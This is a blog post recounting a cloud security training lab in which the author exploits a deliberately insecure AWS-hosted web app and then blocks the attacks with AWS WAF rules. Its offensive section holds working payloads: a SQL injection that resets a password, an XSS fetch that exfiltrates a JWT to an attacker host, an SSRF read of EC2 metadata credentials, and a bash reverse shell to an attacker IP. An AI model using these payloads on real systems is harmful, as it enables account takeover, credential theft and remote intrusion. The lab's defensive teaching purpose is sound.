This blog is based on the hands-on lab Leveraging AWS WAF to Defend an Insecure Web App from QA's cloud security training platform. Special thanks to QA for providing such an insightful and practical experience.

🚀 Introduction

Modern web applications are highly dynamic and fast-moving, often deployed in cloud environments like AWS. With such speed, security can sometimes take a backseat during early product development. This can leave the application vulnerable to well-known attack vectors like SQL Injection, XSS, SSRF, and Remote Code Execution (RCE).

In this blog, I will walk you through a detailed, hands-on project where I acted as a Cloud Security Engineer to secure a deliberately insecure web application. The application was deployed using Terraform and hosted on AWS. My primary defense mechanism was AWS WAF (Web Application Firewall), which I used to detect and mitigate OWASP Top 10 vulnerabilities. This project not only demonstrated real-world exploits but also highlighted how WAF can be used as a first line of defense.


🌐 Architecture Overview

Before we dive into the attacks and defenses, let’s understand the application's infrastructure:

Before WAF

The app had no protections and was fully exposed to the internet. Here's a look at the architecture:

  • 2 EC2 Instances:
    • ide.cloudacademy.platform.instance: Used for deploying the infrastructure and coding.
    • hacker.cloudacademy.platform.instance: Used to simulate real-world attacks.
  • Application Load Balancer (ALB):
    • Listens on port 80
    • Forwards traffic to frontend (port 80) and backend API (port 8080)
  • Target Groups:
    • One for React frontend (served with Nginx)
    • One for Spring Boot backend (Java 17)
  • PostgreSQL Database

Before Architecture

After WAF

Once AWS WAF rules were in place, malicious requests were filtered at the ALB level, preventing them from ever reaching the EC2 instances.

After Architecture


🔧 Deploying the App

The infrastructure was provisioned using Terraform. Here's the process:

  1. Cloned the repositories:
git clone https://github.com/cloudacademy/insecure-webapp-infra.git
git clone https://github.com/cloudacademy/insecure-webapp.git
  1. Deployed the infra using:
cd insecure-webapp-infra && ls -la
terraform init
terraform apply

Infrastructure Deployment

Web App Deployment

Terraform took care of provisioning:

  • EC2 Instances
  • ALB and Target Groups
  • PostgreSQL
  • Security Groups and IAM Roles

After deployment, I was able to access the application through the ALB DNS.


🚨 Identifying Vulnerabilities (Offensive Security)

Now the fun part: exploiting the app.

1. SQL Injection

The login page accepted SQL queries. I injected this payload into the username field:

alice'; update users set password=md5('qwerty123') --

SQL Injection
This reset Alice's password, proving the SQL injection worked.

2. Cross-Site Scripting (XSS)

Using this payload in the comments section:

src='.' onerror=fetch('http://attacker-ip:22100/'+localStorage["ca.webapp.auth.session"])>

I was able to exfiltrate a logged-in user's JWT token to my attacker terminal.

3. Server-Side Request Forgery (SSRF)

The web app had a "Coder" feature that executed Python scripts. I ran this:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Python Script
I accessed the EC2 instance’s metadata and leaked temporary IAM credentials.

4. Remote Code Execution (RCE)

In the AsciiArt generator, I entered:

pwned; bash -i >& /dev/tcp/attacker-ip/443 0>&1

This opened a reverse shell to my attacker EC2, giving me root access.


RCE

🛡️ Defending with AWS WAF

After confirming each vulnerability, I turned to AWS WAF to build defenses.

Step 1: Create Web ACL

  • Region: us-west-2
  • Associated with ALB

WAF

Step 2: Add Rules

Each rule was built using the Rule Builder:

✅ SQL Injection

  • Inspect: JSON body
  • Field: /username
  • Match type: Contains SQL injection attacks
  • Sensitivity: High

WAF SQL Injection Rule

✅ XSS

  • Inspect: JSON body
  • Field: /body
  • Match type: Contains XSS attacks

WAF XSS rule

✅ SSRF

  • Inspect: /code
  • Match regex: 169\.254\.169\.254

✅ Command Injection

  • Inspect: /text
  • Regex: [^a-zA-Z\d\s:]
  • Matches characters like ;, &, |, used in shell injections

WAF text rule
All rules were set to Block.


🔍 Re-testing the Exploits (Defensive Validation)

I reran each attack with Developer Tools open.

  • SQLi: Blocked with 403
  • XSS: Blocked and stripped
  • SSRF: No metadata leaked
  • RCE: No reverse shell; connection refused

Each attack attempt was blocked before reaching the EC2 instance. WAF did its job.

403 Block Screenshot


💡 Key Takeaways

  • Security must be built-in, even for MVPs.
  • AWS WAF is powerful for layer 7 protections.
  • Terraform helps scale consistent deployments.
  • Detection and blocking should happen as early as possible in the request lifecycle.

📄 Resources


Thanks for reading! If you found this helpful, follow me for more cloud security projects and hands-on labs.